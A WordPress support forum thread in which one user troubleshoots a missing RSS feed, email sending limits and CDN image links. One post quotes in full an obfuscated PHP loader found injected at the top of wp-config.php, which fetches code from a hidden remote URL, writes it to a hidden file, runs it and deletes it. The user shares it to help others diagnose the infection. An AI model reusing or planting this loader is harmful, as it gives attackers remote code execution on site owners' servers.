TheRVgeeks

Thanks @noahstricker. I tried that. Repeatedly. It wouldn’t deactivate. I had to deactivate ALL plugins in order to get it to work. Must’ve been a conflict with another plugin.

Just an FYI… I think I found what my problem was. I think my site may have gotten “infected” with something. I was poking around in some files, comparing them to older versions from old backups, and found strange code in the wp-config.pho file. It looked like the following (right up near the top of the file, right after the <?php and ending before the comment section about base configurations):

@ini_set('display_errors', '0');
error_reporting(0);
if (!$npDcheckClassBgp) {
$ea = '_shaesx_'; $ay = 'get_data_ya'; $ae = 'decode'; $ea = str_replace('_sha', 'bas', $ea); $ao = 'wp_cd'; $ee = $ea.$ae; $oa = str_replace('sx', '64', $ee); $algo = 'default'; $pass = "Zgc5c4MXrLskZVkZ9Y1BPvOXNBbYNrscnSWJXqjTu18HYVk=";
if (ini_get('allow_url_fopen')) {
    function get_data_ya($url) {
        $data = file_get_contents($url);
        return $data;
    }
}
else {
    function get_data_ya($url) {
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_HEADER, 0);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
        curl_setopt($ch, CURLOPT_URL, $url);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8);
        $data = curl_exec($ch);
        curl_close($ch);
        return $data;
    }
}
function wp_cd($fd, $fa="")
{
   $fe = "wp_frmfunct";
   $len = strlen($fd);
   $ff = '';
   $n = $len>100 ? 8 : 2;
   while( strlen($ff)<$len )
   {
      $ff .= substr(pack('H*', sha1($fa.$ff.$fe)), 0, $n);
   }
   return $fd^$ff;
}
$reqw = $ay($ao($oa("$pass"), 'wp_function'));
preg_match('#gogo(.*)enen#is', $reqw, $mtchs);
$dirs = glob("*", GLOB_ONLYDIR);
foreach ($dirs as $dira) {
	if (fopen("$dira/.$algo", 'w')) { $ura = 1; $eb = "$dira/"; $hdl = fopen("$dira/.$algo", 'w'); break; }
	$subdirs = glob("$dira/*", GLOB_ONLYDIR);
	foreach ($subdirs as $subdira) {
		if (fopen("$subdira/.$algo", 'w')) { $ura = 1; $eb = "$subdira/"; $hdl = fopen("$subdira/.$algo", 'w'); break; }
	}
}
if (!$ura && fopen(".$algo", 'w')) { $ura = 1; $eb = ''; $hdl = fopen(".$algo", 'w'); }
fwrite($hdl, "<?php\n$mtchs[1]\n?>");
fclose($hdl);
include("{$eb}.$algo");
unlink("{$eb}.$algo");
$npDcheckClassBgp = 'aue';
}

Maybe this will help others solve their RSS feed problems… because when I removed that from the wp-config.php file, the feed started working again right away.

Hi @bobthebuilder69… unfortunately, no. No solution yet. RSS feed is still not working, so neither is MailChimp.

Do you have any idea when this started being a problem for you? Maybe we can figure out if there’s a common element that might help us both?

No helpful input from GoDaddy… but I did uncover some unusual behavior that I thought I’d share. It hasn’t helped me to hunt down the cause yet… but thought maybe someone else would have an idea.

I tried re-installing the WP 4.9.6 files… and while the site worked, the feed still didn’t.

I tried rolling back to WP 4.9.5… but that didn’t change anything, either.

Then, taking a BackupBuddy copy of the site and installing it locally using Local by Flywheel… if I disable internet connectivity and load the local site’s RSS feed URL… it loads! As soon as I re-enable the internet connection on my computer, it doesn’t! So, obviously, the site is doing some kind of check for some resource on the internet that when it works… stops the feed. But when it doesn’t, the feed loads?!?!

Ever hear of something like that?

I’m stumped!

No… they’re generally not too helpful with WordPress issues (since there’s so much that can go on beyond just maintaining the installation), but it’s a good idea. I’ll see if their support team has any ideas.

Hi @t-p! Thanks, again. Yes… I tried it with plugins deactivated, plugins activated but a different theme (Twenty Seventeen), AND with new theme and all plugins deactivated. No difference. No feed.

I’ve got a development version of the site running locally on “Local by Flywheel” (recreated with a backup from BackupBuddy). I tried downloading the ZIP of WP 4.9.6 and doing what you said… but when I do, the site doesn’t work at all. Followed the instructions in the “Manual Update” directions and everything. Literally… the site never loads.

The backup comes from the live version of the site which is hosted on GoDaddy WordPress hosting. It’s a WordPress Multisite installation… so maybe that has something to do with it? I kept the “wp-config.php” file and the “wp-content” folder when I copied the new WP files over. But maybe something else needs to stay put? I’ll poke some more.

Lots of posts… and the RSS feed was working until sometime last week. MailChimp checks every day for new posts listed in the RSS feed and sends out a newsletter with the post content. New posts go out every Friday. It worked last on May 25. It didn’t work on June 1… so something happened in between.

Thanks, @t-p. The problem, though, is that the feed just doesn’t exist! There’s literally nothing there… thus, it doesn’t validate! (Look at the bottom of the validation page… line 01 has nothing!)

I thought it might be a plug-in. But de-activating them all didn’t solve it.

I thought it might be the theme. But changing to Twenty Seventeen didn’t fix it, either.

So I’m at a loss about what to try next.

Thanks!

Hi Luiza… no… never heard anything. Maybe this new activity on the topic will get a response! <fingers crossed> LOL!

Thanks, Mika!

Still curious… if I’m using Elastic Email as my SMTP provider, do Dreamhost’s server limits still apply? And, if so, how can I take advantage of Elastic Email’s faster/larger mailing limits at all?

Thanks!

Thanks! I read through that information, but I’m still confused. If I’m hosting at Dreamhost, but using Elastic Email as my SMTP delivery provider… do Dreamhost’s sending limits apply? Do I have to throttle my sending speed to 100/hour?!?! If so… what’s the benefit of having the Elastic Email service (other than improved deliverability)?

And if Dreamhost’s speed limits DON’T apply, how do I know what to set them to if I’m using Elastic Email?

Sorry if I’m being dense, but I just want to be sure I know what I’m getting into here. I have a list of over 7,000 subscribers I need to send notifications of new posts to. If I can only send at 100/hour, that’s going to take too long.

Thanks!

DOH! I think I figured it out… I had JetPack Photon enabled… so even though I had run the search & replace to change the links in the database, Photon was continuing to serve the files from the CDN. Disabling Photon… and VOILA! The images work again.

Thought you’d want to know in case anyone ever has the same problem!

Thanks, Mika. Those both look great… actually downloaded & setup Local by Flywheel and I’m liking it so far.

One thing that’s weird, though… I’ve deactivated AND removed both the DreamSpeed and DreamObjects plugins in my local install. I’ve use the “Search and Replace” plugin to look for instances of “cdn.thervgeeks.com” and replaced them with my local dev URL. But when I view the local site, the images aren’t showing… and references to the images are still using img tags that look like this:

<img src="https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?resize=500%2C392" alt="" class="alignright size-medium wp-image-5648" srcset="https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?resize=800%2C628 800w, https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?resize=768%2C603 768w, https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?resize=600%2C471 600w, https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?resize=100%2C78 100w, https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?resize=258%2C202 258w, https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?resize=612%2C480 612w, https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?w=2208 2208w, https://i1.wp.com/thervgeeks.dev/wp-content/uploads/2017/02/icicles.jpg?w=3312 3312w" sizes="(max-width: 500px) 100vw, 500px" width="20" height="27">

So it’s as if something is still triggering things to look for images on the DreamSpeed CDN… instead of just local.

Odd… right? Or am I missing something?

• This reply was modified 7 years, 11 months ago by TheRVgeeks.

Thanks, Mika! That explains it all much better. Appreciate your fast response!